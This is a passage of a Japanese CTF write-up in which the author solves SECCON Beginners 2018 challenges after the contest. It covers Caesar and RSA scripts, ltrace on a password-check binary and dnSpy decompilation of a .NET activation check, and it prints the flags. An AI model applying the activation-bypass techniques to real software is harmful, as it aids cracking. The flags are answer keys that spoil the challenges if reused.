SECCON Beginners CTF 2018 終わったけどやってみた

CTFはすでに終わってしまったが、1ヵ月間だけサーバーを起動状態にしてくれているみたいなので、できなかった問題をやってみた。 Web系の問題では、どのような脆弱性かは知識として知っていたが、実践できるレベルまで身についてなかったことを実感。 Riversing系に関してはツールの知識自体が薄かったので、使い方も含め今回の再チャレンジで理解が深まった。(まだできてないところは後程やる) 初心者問題だとしても、暗号解読やバイナリの解析は個人的にとても面白かったし、難しかった。

f:id:kyonta1022:20180529014638p:plain

Crypto

[Warmup] Veni, vidi, vici

シーザー暗号を解読してFlagを入手する問題。

part1 = "Gur svefg cneg bs gur synt vf: pgs4o{a0zber"
part2 = "Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u"
part3 = "{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥"

part1のpgs4o{から、本来はctf4bとなるので13文字ずらすことが推測できるが、とりあえず総当たりでやってみた。

part1 = "Gur svefg cneg bs gur synt vf: pgs4o{a0zber"
part2 = "Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u"


def shift(c, s):
    # A - Z
    if c in range(65, 91):
        return 64 + ((c + s) % 90) if (c + s) / 91 > 0 else c + s
    # a - z
    if c in range(97, 123):
        return 96 + ((c + s) % 122) if (c + s) / 123 > 0 else c + s
    # other
    return c

for i in range(26):
    print '{:02} : {}'.format(i + 1, ''.join(map(lambda c: chr(shift(ord(c), i + 1)), list(part1))))

for i in range(26):
    print '{:02} : {}'.format(i + 1, ''.join(map(lambda c: chr(shift(ord(c), i + 1)), list(part2))))

解析結果

01 : Hvs twfgh dofh ct hvs tzou wg: qht4p{b0acfs
02 : Iwt uxghi epgi du iwt uapv xh: riu4q{c0bdgt
03 : Jxu vyhij fqhj ev jxu vbqw yi: sjv4r{d0cehu
04 : Kyv wzijk grik fw kyv wcrx zj: tkw4s{e0dfiv
05 : Lzw xajkl hsjl gx lzw xdsy ak: ulx4t{f0egjw
06 : Max ybklm itkm hy max yetz bl: vmy4u{g0fhkx
07 : Nby zclmn juln iz nby zfua cm: wnz4v{h0gily
08 : Ocz admno kvmo ja ocz agvb dn: xoa4w{i0hjmz
09 : Pda benop lwnp kb pda bhwc eo: ypb4x{j0ikna
10 : Qeb cfopq mxoq lc qeb cixd fp: zqc4y{k0jlob
11 : Rfc dgpqr nypr md rfc djye gq: ard4z{l0kmpc
12 : Sgd ehqrs ozqs ne sgd ekzf hr: bse4a{m0lnqd
13 : The first part of the flag is: ctf4b{n0more
14 : Uif gjstu qbsu pg uif gmbh jt: dug4c{o0npsf
15 : Vjg hktuv rctv qh vjg hnci ku: evh4d{p0oqtg
16 : Wkh iluvw sduw ri wkh iodj lv: fwi4e{q0pruh
17 : Xli jmvwx tevx sj xli jpek mw: gxj4f{r0qsvi
18 : Ymj knwxy ufwy tk ymj kqfl nx: hyk4g{s0rtwj
19 : Znk loxyz vgxz ul znk lrgm oy: izl4h{t0suxk
20 : Aol mpyza whya vm aol mshn pz: jam4i{u0tvyl
21 : Bpm nqzab xizb wn bpm ntio qa: kbn4j{v0uwzm
22 : Cqn orabc yjac xo cqn oujp rb: lco4k{w0vxan
23 : Dro psbcd zkbd yp dro pvkq sc: mdp4l{x0wybo
24 : Esp qtcde alce zq esp qwlr td: neq4m{y0xzcp
25 : Ftq rudef bmdf ar ftq rxms ue: ofr4n{z0yadq
26 : Gur svefg cneg bs gur synt vf: pgs4o{a0zber
>>> 
01 : Max lxvhgw itkm hy max yetz bl: _vEtll!vte_v
02 : Nby mywihx juln iz nby zfua cm: _wFumm!wuf_w
03 : Ocz nzxjiy kvmo ja ocz agvb dn: _xGvnn!xvg_x
04 : Pda oaykjz lwnp kb pda bhwc eo: _yHwoo!ywh_y
05 : Qeb pbzlka mxoq lc qeb cixd fp: _zIxpp!zxi_z
06 : Rfc qcamlb nypr md rfc djye gq: _aJyqq!ayj_a
07 : Sgd rdbnmc ozqs ne sgd ekzf hr: _bKzrr!bzk_b
08 : The second part of the flag is: _cLass!cal_c
09 : Uif tfdpoe qbsu pg uif gmbh jt: _dMbtt!dbm_d
10 : Vjg ugeqpf rctv qh vjg hnci ku: _eNcuu!ecn_e
11 : Wkh vhfrqg sduw ri wkh iodj lv: _fOdvv!fdo_f
12 : Xli wigsrh tevx sj xli jpek mw: _gPeww!gep_g
13 : Ymj xjhtsi ufwy tk ymj kqfl nx: _hQfxx!hfq_h
14 : Znk ykiutj vgxz ul znk lrgm oy: _iRgyy!igr_i
15 : Aol zljvuk whya vm aol mshn pz: _jShzz!jhs_j
16 : Bpm amkwvl xizb wn bpm ntio qa: _kTiaa!kit_k
17 : Cqn bnlxwm yjac xo cqn oujp rb: _lUjbb!lju_l
18 : Dro comyxn zkbd yp dro pvkq sc: _mVkcc!mkv_m
19 : Esp dpnzyo alce zq esp qwlr td: _nWldd!nlw_n
20 : Ftq eqoazp bmdf ar ftq rxms ue: _oXmee!omx_o
21 : Gur frpbaq cneg bs gur synt vf: _pYnff!pny_p
22 : Hvs gsqcbr dofh ct hvs tzou wg: _qZogg!qoz_q
23 : Iwt htrdcs epgi du iwt uapv xh: _rAphh!rpa_r
24 : Jxu iusedt fqhj ev jxu vbqw yi: _sBqii!sqb_s
25 : Kyv jvtfeu grik fw kyv wcrx zj: _tCrjj!trc_t
26 : Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

part1は13文字ずらして、part2は8文字ずらす。part3に関しては逆さ文字になってるので、逆さまにして読み取る。

ctf4b{n0more_cLass!cal_cRypt0graphy}

回答を入力してみたが、競技終了後はFlagの正当性チェックまでしかできない。

RSA is Power

RSAを力ずくで復号してFlagを入手する問題。

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

RSAアルゴリズムについて詳しくは知らなかったので、色々調べていると以下のサイトがあったので、参考にする。

https://image.slidesharecdn.com/sonickunrsa-170220153940/95/rsa-n-ssmjp-5-638.jpg?cb=1487605311

RSA暗号運用でやってはいけない n のこと #ssmjp

上記スライドから、問題文のCは暗号文で、N,Eが公開鍵だろうとわかる。 ぱっと見Nが凄く大きい気がするけど、これを素因数分解するということだろうか・・・? とりあえず、pythonライブラリのsympyを使ってみたが途中で落ちたので、以下のサービスを利用してみた。

factordb.com

予想に反して一瞬で終わった。

p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713

秘密鍵のdを求めるべき、公開鍵暗号とRSA暗号の仕組みのサイトを参考に解いてみようとしたが、rangeがoverflowした。 調べて見ると、ユークリッド互除法というものを使って解くらしい。 が、色々調べたが数学の素養がなくよくわからなかったので、pythonのライブラリを見つけてやった。 inaz2.hatenablog.com

pip install pycrypto
from Crypto.Util.number import inverse

# 暗号文
c = 77361455127455996572404451221401510145575776233122006907198858022042920987316
# 公開鍵
n = 97139961312384239075080721131188244842051515305572003521287545456189235939577
e = 65537
# 秘密鍵
p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713
d = inverse(e, (p-1)*(q-1))
# 平文
p = pow(c, d, n)

print ("%x"%p).decode('hex')

復号後の平文がFlagとなる。

ctf4b{5imple_rs4_1s_3asy_f0r_u}

Reversing

[Warmup] Simple Auth

ダウンロードしたバイナリから認証に使われているパスワードを求める問題

認証に使われているパスワードを探せ!

まずは、どのようなファイルなのかを調べてみる。

root@bad:~/Downloads/Simple_Auth# file simple_auth 
simple_auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=12f26187ec09ac8c5d933f75e41cc68e7f544862, not stripped

Linuxで実行可能なバイナリだとわかる。次にどのような動作をするか調べてみる。

root@bad:~/Downloads/Simple_Auth# ./simple_auth 
Input Password: password
Umm...Auth failed...

正解のパスワードを入力するとFlagが出現する系の問題かなと予測しながら、ltraceコマンドでも確認してみる。 CTF本によると、ltraceやstraceでざっくり確認してみて、それでもダメだったら逆アセンブリする必要がありそうだった。 今回利用するltraceとは標準ライブラリ関数の呼び出しをトレースする。

root@bad:~/Downloads/Simple_Auth# ltrace ./simple_auth 
__libc_start_main(0x400792, 1, 0x7fff4fb5a318, 0x400830 <unfinished ...>
printf("Input Password: ")                                                                         = 16
__isoc99_scanf(0x4008c5, 0x7fff4fb5a200, 0, 0Input Password: password
)                                                     = 1
strlen("password")                                                                                 = 8
strlen("ctf4b{rev3rsing_p4ssw0rd}\242\265O\377\177")                                               = 30
puts("Umm...Auth failed..."Umm...Auth failed...
)                                                                       = 21
+++ exited (status 0) +++

ltraceを実行してみると、strlenを用いて入力された値とFlagっぽい値の長さを取得しており、長さが等しい時に正解となりそうな予測ができる。 とりあえず何回か実行してみる。

root@bad:~/Downloads/Simple_Auth# ltrace ./simple_auth 
__libc_start_main(0x400792, 1, 0x7fff3a21fbc8, 0x400830 <unfinished ...>
printf("Input Password: ")                                                                         = 16
__isoc99_scanf(0x4008c5, 0x7fff3a21fab0, 0, 0Input Password: ctf4b{rev3rsing_p4ssw0rd} 
)                                                     = 1
strlen("ctf4b{rev3rsing_p4ssw0rd}")                                                                = 25
strlen("ctf4b{rev3rsing_p4ssw0rd}\372!:\377\177")                                                  = 30
puts("Umm...Auth failed..."Umm...Auth failed...
)                                                                       = 21
+++ exited (status 0) +++
root@bad:~/Downloads/Simple_Auth# ltrace ./simple_auth 
__libc_start_main(0x400792, 1, 0x7ffcdd635c38, 0x400830 <unfinished ...>
printf("Input Password: ")                                                                         = 16
__isoc99_scanf(0x4008c5, 0x7ffcdd635b20, 0, 0Input Password: ctf4b{rev3rsing_p4ssw0rd} 
)                                                     = 1
strlen("ctf4b{rev3rsing_p4ssw0rd}")                                                                = 25
strlen("ctf4b{rev3rsing_p4ssw0rd}")                                                                = 25
puts("Auth complite!!"Auth complite!!
)                                                                            = 16
printf("Flag is %s\n", "ctf4b{rev3rsing_p4ssw0rd}"Flag is ctf4b{rev3rsing_p4ssw0rd}
)                                                = 34
+++ exited (status 0) +++

お互いの長さが一致した時、答えとなるFlagを出力している。

ctf4b{rev3rsing_p4ssw0rd}

Activation

.NetアプリケーションをデコンパイルしてFlagを取得する問題

この問題の FLAG は ctf4b{アクティベーションコード} です。
Activation_492f6d44cb836cf2cd9279ff3f51d5adc1e132d8.zip

ダウンロードしたzipファイルを解凍してみると中からexeファイルが顔を出す。 fileコマンドで調べると32bitアプリケーションのようだった。

vation# file Activation.exe 
Activation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.netアプリケーションのデコンパイルについて調べてみると、どうやらdnSpyというデバッガが優秀らしいので、ダウンロードしてみた。 実行すると[AssemblyExplorer]ウィンドウに色々出てきたが、読み込んだexeファイル名と同じActivationの所だけを見れば物足りる。(最初は色々見て時間を無にした)

f:id:kyonta1022:20180614233459p:plain

デバッガを実行してみる。

f:id:kyonta1022:20180614233644p:plain

実行してみるとnamespace Aのクラスがエントリークラスになっている。namespaceは全部で3つほどある。

f:id:kyonta1022:20180614235320p:plain

using System;
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.Windows;
using <PrivateImplementationDetails>{A4178F99-C0D6-41FA-8B06-31D650DF8205};

namespace A
{
    // Token: 0x02000002 RID: 2
    public class A : Application
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        [DebuggerNonUserCode]
        [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
        public void A()
        {
            base.StartupUri = new Uri(E2AA8B78-798D-49BF-B9E7-13D334768E86.A(), UriKind.Relative);
        }

        // Token: 0x06000002 RID: 2 RVA: 0x00002063 File Offset: 0x00000263
        [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
        [STAThread]
        [DebuggerNonUserCode]
        public static void a()
        {
            A a = new A();
            a.A();
            a.Run();
        }
    }
}

とりあえず処理を進めて、出てきた画面のnextをクリックする。

f:id:kyonta1022:20180614235801p:plain

nextを選択するとnamespace Activationに処理が遷移する(MainWindowクラスにあらかじめブレークポイントを仕掛けておく)

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Markup;
using <PrivateImplementationDetails>{A4178F99-C0D6-41FA-8B06-31D650DF8205};
using A;

namespace Activation
{
    // Token: 0x02000005 RID: 5
    public class MainWindow : Window, IComponentConnector
    {
        // Token: 0x06000014 RID: 20 RVA: 0x00002237 File Offset: 0x00000437
        public MainWindow()
        {
            this.InitializeComponent();
            B b = new B();
            b.A(E2AA8B78-798D-49BF-B9E7-13D334768E86.B());
            this.A = b;
            base.DataContext = this.A;
        }

        // Token: 0x06000015 RID: 21 RVA: 0x00002268 File Offset: 0x00000468
        private void A(object A_1, RoutedEventArgs A_2)
        {
            B a = this.A;
            a.A(a.A() + E2AA8B78-798D-49BF-B9E7-13D334768E86.b());
            bool flag = false;
            string text = E2AA8B78-798D-49BF-B9E7-13D334768E86.C();
            string text2 = E2AA8B78-798D-49BF-B9E7-13D334768E86.c();
            foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
            {
                if (driveInfo.DriveType == DriveType.CDRom && driveInfo.VolumeLabel.Equals(text))
                {
                    FileInfo[] files = driveInfo.RootDirectory.GetFiles(E2AA8B78-798D-49BF-B9E7-13D334768E86.D());
                    for (int j = 0; j < files.Length; j++)
                    {
                        if (files[j].Equals(text2))
                        {
                            flag = true;
                        }
                    }
                }
            }
            if (!flag && MessageBox.Show(E2AA8B78-798D-49BF-B9E7-13D334768E86.d(), E2AA8B78-798D-49BF-B9E7-13D334768E86.E(), MessageBoxButton.OK, MessageBoxImage.Hand) == MessageBoxResult.OK)
            {
                base.Close();
            }
            B a2 = this.A;
            a2.A(a2.A() + E2AA8B78-798D-49BF-B9E7-13D334768E86.e());
            InputBox inputBox = new InputBox();
            if (inputBox.ShowDialog() == true)
            {
                string text3 = inputBox.A();
                byte[] bytes = Encoding.ASCII.GetBytes(text2);
                byte[] bytes2 = Encoding.ASCII.GetBytes(text + text);
                if (new a(text3, null, bytes, bytes2).C().Equals(E2AA8B78-798D-49BF-B9E7-13D334768E86.F()))
                {
                    if (MessageBox.Show(E2AA8B78-798D-49BF-B9E7-13D334768E86.f(), E2AA8B78-798D-49BF-B9E7-13D334768E86.G(), MessageBoxButton.OK, MessageBoxImage.Asterisk) == MessageBoxResult.OK)
                    {
                        base.Close();
                        return;
                    }
                }
                else if (MessageBox.Show(E2AA8B78-798D-49BF-B9E7-13D334768E86.g(), E2AA8B78-798D-49BF-B9E7-13D334768E86.E(), MessageBoxButton.OK, MessageBoxImage.Hand) == MessageBoxResult.OK)
                {
                    base.Close();
                    return;
                }
            }
            else
            {
                base.Close();
            }
        }

        // Token: 0x06000016 RID: 22 RVA: 0x000023ED File Offset: 0x000005ED
        private void a(object A_1, RoutedEventArgs A_2)
        {
            base.Close();
        }

        // Token: 0x06000017 RID: 23 RVA: 0x000023F8 File Offset: 0x000005F8
        [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
        [DebuggerNonUserCode]
        public void InitializeComponent()
        {
            if (this.A)
            {
                return;
            }
            this.A = true;
            Uri resourceLocator = new Uri(E2AA8B78-798D-49BF-B9E7-13D334768E86.H(), UriKind.Relative);
            Application.LoadComponent(this, resourceLocator);
        }

        // Token: 0x06000018 RID: 24 RVA: 0x00002428 File Offset: 0x00000628
        [EditorBrowsable(EditorBrowsableState.Never)]
        [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
        [DebuggerNonUserCode]
        void IComponentConnector.A(int A_1, object A_2)
        {
            if (A_1 == 1)
            {
                ((Button)A_2).Click += this.A;
                return;
            }
            if (A_1 != 2)
            {
                this.A = true;
                return;
            }
            ((Button)A_2).Click += this.a;
        }

        // Token: 0x04000007 RID: 7
        private B A;

        // Token: 0x04000008 RID: 8
        private bool A;
    }
}

更に処理を進めてみると、以下のダイアログが出てシステムが終了する。

f:id:kyonta1022:20180615000007p:plain

一連の流れと、デコンパイル後のソースの全体像がざっくり分かったところで、ソースの解析を行っていく。 初めに処理の中で気になったのは、namespace<PrivateImplementationDetails>{A4178F99-C0D6-41FA-8B06-31D650DF8205}の定数を定義している部分。 なぜ気になったかというと、MainWindow内の以下の部分で文字列が取得できていたため、何か重要なキーワードが含まれていないかなと思ったから。

string text = E2AA8B78-798D-49BF-B9E7-13D334768E86.C(); // CTF4B7E1
string text2 = E2AA8B78-798D-49BF-B9E7-13D334768E86.c();  // SECCON_BEGINNERS

とりあえず、中身をのぞいてみる。

using System;
using System.Runtime.InteropServices;
using System.Text;

namespace <PrivateImplementationDetails>{A4178F99-C0D6-41FA-8B06-31D650DF8205}
{
    // Token: 0x02000009 RID: 9
    [StructLayout(LayoutKind.Auto, CharSet = CharSet.Auto)]
    internal class E2AA8B78-798D-49BF-B9E7-13D334768E86
    {
        // Token: 0x06000026 RID: 38 RVA: 0x00002584 File Offset: 0x00000784
        private static string <<EMPTY_NAME>>(int A_0, int A_1, int A_2)
        {
            string @string = Encoding.UTF8.GetString(E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>, A_1, A_2);
            E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[A_0] = @string;
            return @string;
        }

        // Token: 0x06000027 RID: 39 RVA: 0x000025AC File Offset: 0x000007AC
        public static string A()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[0] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(0, 0, 15);
        }

        // Token: 0x06000028 RID: 40 RVA: 0x000025C2 File Offset: 0x000007C2
        public static string a()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[1] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(1, 15, 35);
        }

        // Token: 0x06000029 RID: 41 RVA: 0x000025D9 File Offset: 0x000007D9
        public static string B()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[2] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(2, 50, 35);
        }

        // Token: 0x0600002A RID: 42 RVA: 0x000025F0 File Offset: 0x000007F0
        public static string b()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[3] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(3, 85, 18);
        }

        // Token: 0x0600002B RID: 43 RVA: 0x00002607 File Offset: 0x00000807
        public static string C()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[4] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(4, 103, 8);
        }

        // Token: 0x0600002C RID: 44 RVA: 0x0000261D File Offset: 0x0000081D
        public static string c()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[5] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(5, 111, 16);
        }

        // Token: 0x0600002D RID: 45 RVA: 0x00002634 File Offset: 0x00000834
        public static string D()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[6] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(6, 127, 3);
        }

        // Token: 0x0600002E RID: 46 RVA: 0x0000264A File Offset: 0x0000084A
        public static string d()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[7] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(7, 130, 21);
        }

        // Token: 0x0600002F RID: 47 RVA: 0x00002664 File Offset: 0x00000864
        public static string E()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[8] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(8, 151, 5);
        }

        // Token: 0x06000030 RID: 48 RVA: 0x0000267D File Offset: 0x0000087D
        public static string e()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[9] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(9, 156, 29);
        }

        // Token: 0x06000031 RID: 49 RVA: 0x00002699 File Offset: 0x00000899
        public static string F()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[10] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(10, 185, 64);
        }

        // Token: 0x06000032 RID: 50 RVA: 0x000026B5 File Offset: 0x000008B5
        public static string f()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[11] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(11, 249, 10);
        }

        // Token: 0x06000033 RID: 51 RVA: 0x000026D1 File Offset: 0x000008D1
        public static string G()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[12] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(12, 259, 11);
        }

        // Token: 0x06000034 RID: 52 RVA: 0x000026ED File Offset: 0x000008ED
        public static string g()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[13] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(13, 270, 27);
        }

        // Token: 0x06000035 RID: 53 RVA: 0x00002709 File Offset: 0x00000909
        public static string H()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[14] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(14, 297, 37);
        }

        // Token: 0x06000036 RID: 54 RVA: 0x00002725 File Offset: 0x00000925
        public static string h()
        {
            return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[15] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(15, 334, 11);
        }

        // Token: 0x06000037 RID: 55 RVA: 0x00002744 File Offset: 0x00000944
        // Note: this type is marked as 'beforefieldinit'.
        static E2AA8B78-798D-49BF-B9E7-13D334768E86()
        {
            E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>> = new byte[]
            {
                231,
                202,
                193,
                                // … つらつらと数値の配列が並ぶ
                158
            };
            for (int i = 0; i < E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>.Length; i++)
            {
                E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[i] = (byte)((int)E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[i] ^ i ^ 170);
            }
        }

        // Token: 0x0400000E RID: 14 RVA: 0x0000599C File Offset: 0x00003B9C
        internal static E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>> <<EMPTY_NAME>>;

        // Token: 0x0400000F RID: 15
        internal static byte[] <<EMPTY_NAME>>;

        // Token: 0x04000010 RID: 16
        internal static string[] <<EMPTY_NAME>> = new string[16];

        // Token: 0x0200000A RID: 10
        [StructLayout(LayoutKind.Explicit, Pack = 1, Size = 345)]
        private struct <<EMPTY_NAME>>
        {
        }
    }
}

定数は定数だが、内容は暗号化されておりデバッガ上からは確認できなかった。 ただMainWindow上では平文として見えているので、何かしらの複合処理があるはずと踏みソースを調べていくと、以下の処理があった。

for (int i = 0; i < E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>.Length; i++)
{
    E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[i] = (byte)((int)E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[i] ^ i ^ 170);
}

これと同様の処理をpythonで実現してみる。

crypted_list = [231,202,193,199,249,198,194,201,205,212,142,217,199,202,200,138,251,216,204,208,200,222,200,212,221,221,139,210,217,218,196,218,228,238,230,253,161,230,226,253,247,247,226,238,254,169,252,228,247,247,219,245,247,252,247,189,176,221,245,233,226,181,180,225,133,203,155,157,143,157,152,205,131,128,148,136,144,134,144,140,149,149,214,243,244,188,148,152,145,152,208,133,158,146,212,145,163,184,163,231,224,225,198,142,150,133,244,131,241,130,245,150,159,152,155,150,144,128,158,152,149,154,158,159,147,133,135,255,4,1,108,64,93,68,12,68,81,3,78,78,82,7,77,75,73,94,74,77,91,91,18,120,64,65,95,67,117,95,81,86,97,43,124,97,107,47,109,110,118,106,118,96,114,110,107,107,58,120,119,125,123,49,50,51,24,86,35,114,38,94,113,115,9,8,90,16,59,45,89,10,20,51,55,6,3,86,18,45,43,48,83,45,60,10,41,36,8,32,36,70,30,35,95,35,56,27,12,33,36,13,56,125,10,0,1,46,115,1,8,42,50,61,43,118,42,109,10,59,103,18,51,37,63,33,53,33,207,207,134,224,192,201,195,223,207,194,212,200,201,201,229,198,206,210,206,216,202,214,211,211,146,208,223,213,211,151,221,198,170,226,230,255,239,227,229,233,172,172,193,226,242,238,242,228,238,242,247,247,165,252,243,240,226,252,254,244,248,227,187,248,139,130,134,158,135,129,136,130,149,205,152,128,139,139,183,145,155,143,141,138,178,158,158,152,158]

decrypted_list = []
for i, c in enumerate(crypted_list):
    decrypted_list.append((c ^ i ^ 170) % 256)

print "".join(map(lambda x: chr(x), decrypted_list))
MainWindow.xaml/Activation;component/inputbox.xamlClick "Next" to start activation.

Check the disk...
CTF4B7E1SECCON_BEGINNERS*.*Disk is not inserted.ErrorCheck the activation code...
E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5Activated.InformationActivation code is invalid./Activation;component/mainwindow.xamlStatusLabel

復号化した文字列は、E2AA8B78-798D-49BF-B9E7-13D334768E86.C()で取得した値CTF4B7E1(103-111)とも一致しているため、正しくできていそうだ。

// Token: 0x0600002B RID: 43 RVA: 0x00002607 File Offset: 0x00000807
public static string C()
{
    return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[4] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(4, 103, 8); // CTF4B7E1
}

ここからは、MainWindow内の処理を順々に追っていこうと思う。 まず、CTF4B7E1という名前のCDドライブにSECCON_BEGINNERSというファイルがあるかどうかでflagが立つらしい。

// コンピューター上のすべての論理ドライブのドライブ名を取得する
foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
{
    // ドライブがCD-ROM、DVD-ROM などの光ディスクドライブで、ラベルが「CTF4B7E1」の場合
    if (driveInfo.DriveType == DriveType.CDRom && driveInfo.VolumeLabel.Equals(text))
    {
        // ルートディレクトリから全てのファイル(*.*)を取得する
        FileInfo[] files = driveInfo.RootDirectory.GetFiles(E2AA8B78-798D-49BF-B9E7-13D334768E86.D());
        for (int j = 0; j < files.Length; j++)
        {
            // 取得したファイルにSECCON_BEGINNERSというファイル名が存在した場合にflagがtrueになる
            if (files[j].Equals(text2))
            {
                flag = true;
            }
        }
    }
}

上記処理を抜けた後は、インプットボックスに入力された値と暗号化された値を比較して、それが一致すればアクティベートに成功するらしい。

InputBox inputBox = new InputBox();
// ウィンドウを開き、アクティビティが受け入れられた場合
if (inputBox.ShowDialog() == true)
{
    string text3 = inputBox.A(); // 入力された値
    byte[] bytes = Encoding.ASCII.GetBytes(text2); // SECCON_BEGINNERSのバイト列
    byte[] bytes2 = Encoding.ASCII.GetBytes(text + text); // CTF4B7E1CTF4B7E1のバイト列
    // 入力された値をAESで暗号化してBase64でエンコードした値がE3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5と一致するか
    if (new a(text3, null, bytes, bytes2).C().Equals(E2AA8B78-798D-49BF-B9E7-13D334768E86.F()))
    {
        // Activated.
        if (MessageBox.Show(E2AA8B78-798D-49BF-B9E7-13D334768E86.f(), E2AA8B78-798D-49BF-B9E7-13D334768E86.G(), MessageBoxButton.OK, MessageBoxImage.Asterisk) == MessageBoxResult.OK)
        {
            base.Close();
            return;
        }
    }
// ..........

アクティベートに関わるnew a(text3, null, bytes, bytes2).C()の処理を追ってみる。

using System;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

namespace A
{
    // Token: 0x02000003 RID: 3
    public class a
    {
        // Token: 0x06000004 RID: 4 RVA: 0x0000207E File Offset: 0x0000027E
        [CompilerGenerated]
        public string A()
        {
            return this.A;
        }

        // Token: 0x06000005 RID: 5 RVA: 0x00002086 File Offset: 0x00000286
        [CompilerGenerated]
        public void A(string A_1)
        {
            this.A = A_1;
        }

        // Token: 0x06000006 RID: 6 RVA: 0x0000208F File Offset: 0x0000028F
        [CompilerGenerated]
        public string a()
        {
            return this.a;
        }

        // Token: 0x06000007 RID: 7 RVA: 0x00002097 File Offset: 0x00000297
        [CompilerGenerated]
        public void a(string A_1)
        {
            this.a = A_1;
        }

        // Token: 0x06000008 RID: 8 RVA: 0x000020A0 File Offset: 0x000002A0
        [CompilerGenerated]
        public byte[] B()
        {
            return this.A;
        }

        // Token: 0x06000009 RID: 9 RVA: 0x000020A8 File Offset: 0x000002A8
        [CompilerGenerated]
        public void A(byte[] A_1)
        {
            this.A = A_1;
        }

        // Token: 0x0600000A RID: 10 RVA: 0x000020B1 File Offset: 0x000002B1
        [CompilerGenerated]
        public byte[] b()
        {
            return this.a;
        }

        // Token: 0x0600000B RID: 11 RVA: 0x000020B9 File Offset: 0x000002B9
        [CompilerGenerated]
        public void a(byte[] A_1)
